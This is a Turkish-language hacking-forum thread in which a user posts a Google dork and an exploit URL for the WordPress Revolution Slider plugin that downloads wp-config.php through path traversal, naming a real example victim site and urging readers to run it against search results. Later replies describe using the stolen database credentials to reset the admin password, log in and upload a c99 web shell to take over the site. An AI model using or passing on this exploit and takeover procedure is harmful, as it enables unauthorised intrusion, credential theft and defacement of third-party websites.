Wordpress DB bilgilerini çekme

MuRo

Özel Üye

Katılım

20 Eyl 2012

Mesajlar

425

Tepkime puanı

1

Puanları

0

• 16 Eyl 2014

• #1

Bu exploit ile db bilgilerine ulaşabilirsiniz. Gerisi sizin hayal gücünüz

DORK: revslider.php “index of”

Exploit:
Siteadı.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Lütfen bu açığa sahip türk sitelerinde kullanmayınız.
Nasıl kullanacağınızı kısaca anlatayım:
revslider.php “index of” bunu google da aratınız ve sonuçlanan sitelerde
exploiti uygulayınız. Bulduğunuz sitenin ismini site adı yazan kısma yerleştirmeniz yeterli daha sonra inen dosyayı actığınızda db bilgilerine ulaşacaksınız.

ÖRNEK SİTE ;

http://gumusyan.com//wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

 

ScarySpy

Spys-Z

Katılım

22 Ocak 2014

Mesajlar

1,000

Tepkime puanı

0

Puanları

0

• 16 Eyl 2014

• #2

kardeşim peki burda admin id sifresi yazmıyor db yazıyor ne gibi yararı olucak bize ?

 

MuRo

Özel Üye

Katılım

20 Eyl 2012

Mesajlar

425

Tepkime puanı

1

Puanları

0

• 16 Eyl 2014

• #3

Bu exploit ile db bilgilerine ulaşabilirsiniz. Gerisi sizin hayal gücünüz

Demişim en üstte

 

ScarySpy

Spys-Z

Katılım

22 Ocak 2014

Mesajlar

1,000

Tepkime puanı

0

Puanları

0

• 16 Eyl 2014

• #4

ama ne gibi faydası olucaki ?

 

MuRo

Özel Üye

Katılım

20 Eyl 2012

Mesajlar

425

Tepkime puanı

1

Puanları

0

• 16 Eyl 2014

• #5

Birçok Faydası olacak Kendini Geliştir araştır neler yapabilcegini göreceksin Sana Balık tutmayı ögretiyorum ben Yemeyide siz bi yapın bi zahmet

 

ScarySpy

Spys-Z

Katılım

22 Ocak 2014

Mesajlar

1,000

Tepkime puanı

0

Puanları

0

• 16 Eyl 2014

• #6

ama bu bilgileri bilgili kişilerden almıycaksak ajanlar.orgda işmiz ne yani

 

ByDokunulmaz

Özel Üye

Katılım

25 Haz 2013

Mesajlar

935

Tepkime puanı

0

Puanları

0

Yaş

29

Web sitesi

ajanlar.org

• 16 Eyl 2014

• #7

ScarY' Alıntı:

ama bu bilgileri bilgili kişilerden almıycaksak ajanlar.orgda işmiz ne yani

Genişletmek için tıkla ...

ScarY' Alıntı:

ama ne gibi faydası olucaki ?

Genişletmek için tıkla ...

Db Bilgileri ile başka bir sitedeki shell den misal c99 ile sql ile veri tabanına bağlanırsın. ve wp users tablosuna girip oradan admin bilgilerini değiştirirsin. yeni bir şifre oluşturursun tabi md5 şeklinde veri tabanına ekler kayıt edersin. siteden ../wp-login.php şeklinde giriş yaparsın ve shell atarsın. (

) ondan sonra hacklersin. Eğer ki shell atamazsan veritabanından wp post tablosuna girip oradan me ta atabilrsin. Saygılar..

 

ScarySpy

Spys-Z

Katılım

22 Ocak 2014

Mesajlar

1,000

Tepkime puanı

0

Puanları

0

• 16 Eyl 2014

• #8

helal kardesm

 

Antidote

Özel Üye

Katılım

21 Ocak 2014

Mesajlar

1,015

Tepkime puanı

0

Puanları

0

Web sitesi

ajanlar.org

• 16 Eyl 2014

• #9

Sunucuda Bir Siteye Shell Atarsın Sonra Mysql ile baglanırsın Admin Şifrelerini Değişitirir Siteye Basarsın

 

No Dead

Spys-Z

Katılım

27 Tem 2014

Mesajlar

219

Tepkime puanı

0

Puanları

0

• 17 Eyl 2014

• #10

Eyvallah muro başkan